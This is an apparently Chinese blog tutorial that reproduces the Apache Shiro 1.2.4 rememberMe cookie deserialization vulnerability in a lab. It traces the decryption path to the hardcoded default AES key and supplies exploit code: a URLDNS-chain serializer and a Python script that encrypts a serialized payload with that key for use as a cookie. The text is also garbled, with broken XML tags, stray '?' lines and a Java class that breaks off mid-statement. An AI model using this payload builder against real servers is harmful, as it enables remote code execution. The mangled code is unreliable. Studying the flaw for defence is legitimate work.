都2022年了不会还有人学习这么老的漏洞吧?没错就是我…………
准备阶段
起shiro服务,在github上下载<=1.2.4版本,然后修改下pom.xml,修改下如下内容,搞完pom文件一堆爆红,但我点击发布实例选择samples-web后照样运行,没管爆红的地方。如果介意的话网上有完整pom文件可以照搬下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<properties>
?
<maven.compiler.source>1.6maven.compiler.source>
?
<maven.compiler.target>1.6maven.compiler.target>
?
properties>
<parent>
<groupId>org.apache.shiro.samplesgroupId>
<artifactId>shiro-samplesartifactId>
<version>1.2.4version>
<relativePath>../pom.xmlrelativePath>
parent>
?
<modelVersion>4.0.0modelVersion>
<artifactId>samples-webartifactId>
<name>Apache Shiro :: Samples :: Webname>
<packaging>warpackaging>
?
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-pluginartifactId>
<configuration>
<forkMode>neverforkMode>
configuration>
plugin>
<plugin>
<groupId>org.mortbay.jettygroupId>
<artifactId>maven-jetty-pluginartifactId>
<version>${jetty.version}version>
<configuration>
<contextPath>/contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080port>
<maxIdleTime>60000maxIdleTime>
connector>
connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.logfilename>
<retainDays>90retainDays>
<append>trueappend>
<extended>falseextended>
<logTimeZone>GMTlogTimeZone>
requestLog>
configuration>
plugin>
plugins>
build>
?
<dependencies>
<dependency>
<groupId>javax.servletgroupId>
<artifactId>jstlartifactId>
<scope>runtimescope>
dependency>
<dependency>
<groupId>javax.servletgroupId>
<artifactId>servlet-apiartifactId>
dependency>
<dependency>
<groupId>org.slf4jgroupId>
<artifactId>slf4j-log4j12artifactId>
<scope>runtimescope>
dependency>
<dependency>
<groupId>log4jgroupId>
<artifactId>log4jartifactId>
<scope>runtimescope>
dependency>
<dependency>
<groupId>net.sourceforge.htmlunitgroupId>
<artifactId>htmlunitartifactId>
<version>2.6version>
dependency>
<dependency>
<groupId>org.apache.shirogroupId>
<artifactId>shiro-coreartifactId>
dependency>
<dependency>
<groupId>org.apache.shirogroupId>
<artifactId>shiro-webartifactId>
dependency>
<dependency>
<groupId>org.mortbay.jettygroupId>
<artifactId>jettyartifactId>
<version>${jetty.version}version>
<scope>testscope>
dependency>
<dependency>
<groupId>org.mortbay.jettygroupId>
<artifactId>jsp-2.1-jettyartifactId>
<version>${jetty.version}version>
<scope>testscope>
dependency>
<dependency>
<groupId>org.slf4jgroupId>
<artifactId>jcl-over-slf4jartifactId>
<scope>runtimescope>
dependency>
<dependency>
<groupId>javax.servletgroupId>
<artifactId>jstlartifactId>
<version>1.2version>
<scope>runtimescope>
dependency>
<dependency>
<groupId>org.apache.commonsgroupId>
<artifactId>commons-collections4artifactId>
<version>4.0version>
dependency>
dependencies>
?
?
project>我们先访问登录并抓包,记得勾上remember选项
看到请求的cookie部分内容很大,可以猜想这个cookie代表了什么,可以看看保存了什么信息,一般保存cookie都会用到反序列化。以后一定养成这个习惯。
搜索Cookie相关的类,其实就是CookieRememberMeManager
我们通过名字看方法,注意到rememberSerializedIdentity和getRememberedSerializedIdentity方法,随便你分析哪一个,这里分析的是后者,解密的过程。
代码分析
通过配图知道最后进行base64解码。看看哪些调用了该方法。alt+f7查看调用查到getRememberedPrincipals方法
subjectContext在经过getRememberedSerializedIdentity处理后返回bytes,bytes再经过convertBytesToPrincipals处理,其中的过程如下
我们可以先看看反序列化部分是否能触发,跟进deserialize方法
再跟进
可以看到最终调用到了原生的readObject方法。
再来看看convertBytesToPrincipals中的解密方法decrypt
cipherService.decrypt解密方法如下,其实就是aes
因为aes解密方法是固定的,所以重点关注解密的key是什么
寻找key
可以看到是个常量,需要查找在哪被赋值的,alt+f7,看value write部分
继续查看setDecryptionCipherKey在哪被调用
ok,最后找到了关键的key,这样理一下解密的过程
cookie获取 == > base64解码 ==》 aes解密 = ===》反序列化
最后尝试复现该漏洞
URLDNS链生成类
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLCC {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser.txt"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//入口类
HashMap将上述序列化的内容进行加密,注意要先将keybase64解码
import base64
import uuid
from Crypto.Cipher import AES
?
def get_file_data(filename):
with open(filename,'rb') as f:
data = f.read()
return data
?
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
?
if __name__ == '__main__':
data = get_file_data("D:\ser.txt")
print(aes_enc(data))
将生成的payload带入到cookie中,主要要将JSESSIONID去掉,不然会优先读取JSESSIONID的信息,无法利用到我们payload
总结
整个看下来利用链,主要还是要有敏感的发现能力,发现cookie处可能存在反序列化。
getRememberedSerializedIdentity 入口点== > base64解码 ==》 aes解密 = ===》反序列化